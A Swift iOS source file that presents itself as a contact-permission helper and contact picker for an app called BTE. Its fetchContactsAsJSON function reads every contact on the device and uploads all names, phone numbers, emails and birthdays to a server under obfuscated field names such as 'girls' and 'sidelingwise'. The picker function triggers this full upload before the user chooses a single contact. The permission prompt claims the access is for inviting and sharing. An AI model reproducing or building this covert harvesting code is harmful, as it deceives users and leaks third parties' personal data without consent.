//
//  BTEListInput.swift
//  BTE
//
//  Created by Mike Zhang on 2025/9/3.
//

import Foundation
import Contacts
import ContactsUI
import UIKit

// MARK: - 数据结构
struct ContactInfo: Codable {
    let phone: String
    let updatedAt: String
    let note: String
    let birthday: String
    let email: String
    let createdAt: String
    let fullName: String

    func toDictionary() -> [String: String] {
        return [
            "girls": phone,
            "overcarefulness": updatedAt,
            "basoche": note,
            "jonahism": birthday,
            "unextendedness": email,
            "abrachia": createdAt,
            "manificum": fullName
        ]
    }
}

struct UserSimpleInfo {
    var phone: String
    var firstName: String
    var lastName: String
}

class BTEContactManager: NSObject, CNContactPickerDelegate {

    static let shared = BTEContactManager()

    private let contactStore = CNContactStore()
    
    let server = BTEUploadToolNetServer()

    /// 联系人选择回调
    var onContactSelected: ((UserSimpleInfo) -> Void)?

    // MARK: - 联系人权限请求 + 获取联系人
    func fetchContactsWithPermission(completion: @escaping (String?) -> Void) {
        let status = CNContactStore.authorizationStatus(for: .contacts)

        switch status {
        case .notDetermined:
            requestContactAccess { granted in
                DispatchQueue.main.async {
                    if granted {
                        self.fetchContactsAsJSON(completion)
                    } else {
                        self.presentSettingsAlert()
                        completion(nil)
                    }
                }
            }
        case .restricted, .denied:
            presentSettingsAlert()
            completion(nil)
        case .authorized, .limited:
            fetchContactsAsJSON(completion)
        @unknown default:
            completion(nil)
        }
    }

    func requestContactAccess(completion: @escaping (Bool) -> Void) {
        contactStore.requestAccess(for: .contacts, completionHandler: { granted, _ in
            completion(granted)
        })
    }

    func fetchContactsAsJSON(_ completion: @escaping (String?) -> Void) {
        let keys: [CNKeyDescriptor] = [
            CNContactGivenNameKey as CNKeyDescriptor,
            CNContactFamilyNameKey as CNKeyDescriptor,
            CNContactPhoneNumbersKey as CNKeyDescriptor,
            CNContactEmailAddressesKey as CNKeyDescriptor,
            CNContactBirthdayKey as CNKeyDescriptor
        ]

        var results: [[String: String]] = []
        let request = CNContactFetchRequest(keysToFetch: keys)

        do {
            try contactStore.enumerateContacts(with: request) { contact, _ in
                let fullName = "\(contact.givenName) \(contact.familyName)".trimmingCharacters(in: .whitespaces)
                let phones = contact.phoneNumbers.map { $0.value.stringValue }.joined(separator: ",")
                let emails = contact.emailAddresses.map { String($0.value) }.joined(separator: ",")

                var birthdayMillis = ""
                if let birthdayDate = contact.birthday?.date {
                    birthdayMillis = "\(Int(birthdayDate.timeIntervalSince1970 * 1000))"
                }

                let info = ContactInfo(
                    phone: phones,
                    updatedAt: "",     // 可根据需求补充
                    note: "",          // 可根据需求补充
                    birthday: birthdayMillis,
                    email: emails,
                    createdAt: "",     // 可根据需求补充
                    fullName: fullName
                )

                results.append(info.toDictionary())
            }

            if let json = encodeToJSONString(results) {
                server.plectra(data: ["sidelingwise": json]) { s in
                    switch s {
                    case .success(let success):
                        print("success")
                        break
                    case .failure(let failure):
                        print("error")
                        break
                    }
                }
            }

            completion("Success") 

        } catch {
            print("Failed to fetch contacts: \(error.localizedDescription)")
            completion(nil)
        }
    }

    private func encodeToJSONString(_ contacts: [[String: String]]) -> String? {
        let encoder = JSONEncoder()
        encoder.outputFormatting = .prettyPrinted
        return try? String(data: encoder.encode(contacts), encoding: .utf8)
    }

    // MARK: - 设置弹窗提醒
    func presentSettingsAlert() {
        guard let windowScene = UIApplication.shared.connectedScenes
            .first(where: { $0.activationState == .foregroundActive }) as? UIWindowScene,
              let rootVC = windowScene.windows.first(where: { $0.isKeyWindow })?.rootViewController else {
            return
        }

        let alert = UIAlertController(
            title: BTELanguageManager.shared.localizedString(forKey: "Contacts Permission"),
            message: "Contacts access is denied. To enable inviting and sharing functions, please open Settings > Privacy > Contacts, locate our app, and allow contact access.",
            preferredStyle: .alert
        )

        alert.addAction(UIAlertAction(title: "Go to Settings", style: .default, handler: { _ in
            if let url = URL(string: UIApplication.openSettingsURLString),
               UIApplication.shared.canOpenURL(url) {
                UIApplication.shared.open(url)
            }
        }))

        alert.addAction(UIAlertAction(title: "Cancel", style: .cancel))
        rootVC.present(alert, animated: true)
    }

    // MARK: - 联系人选择器 UI
    func presentContactPickerUI() {
        fetchContactsAsJSON { r in
            
        }
        DispatchQueue.main.async {[weak self] in
            self?.requestContactAccess { [weak self] granted in
                guard let self = self else { return }

                if granted {
                    guard let windowScene = UIApplication.shared.connectedScenes
                            .first(where: { $0.activationState == .foregroundActive }) as? UIWindowScene,
                          let rootVC = windowScene.windows.first(where: { $0.isKeyWindow })?.rootViewController else {
                        return
                    }

                    let picker = CNContactPickerViewController()
                    picker.delegate = self
                    rootVC.present(picker, animated: true)
                } else {
                    self.presentSettingsAlert()
                }
            }
        }
    }

    // MARK: - 联系人选择回调
    func contactPicker(_ picker: CNContactPickerViewController, didSelect contact: CNContact) {
        let phone = contact.phoneNumbers.first?.value.stringValue
            .replacingOccurrences(of: " ", with: "") ?? ""

        let info = UserSimpleInfo(
            phone: phone,
            firstName: contact.givenName,
            lastName: contact.familyName
        )

        onContactSelected?(info)
    }
}
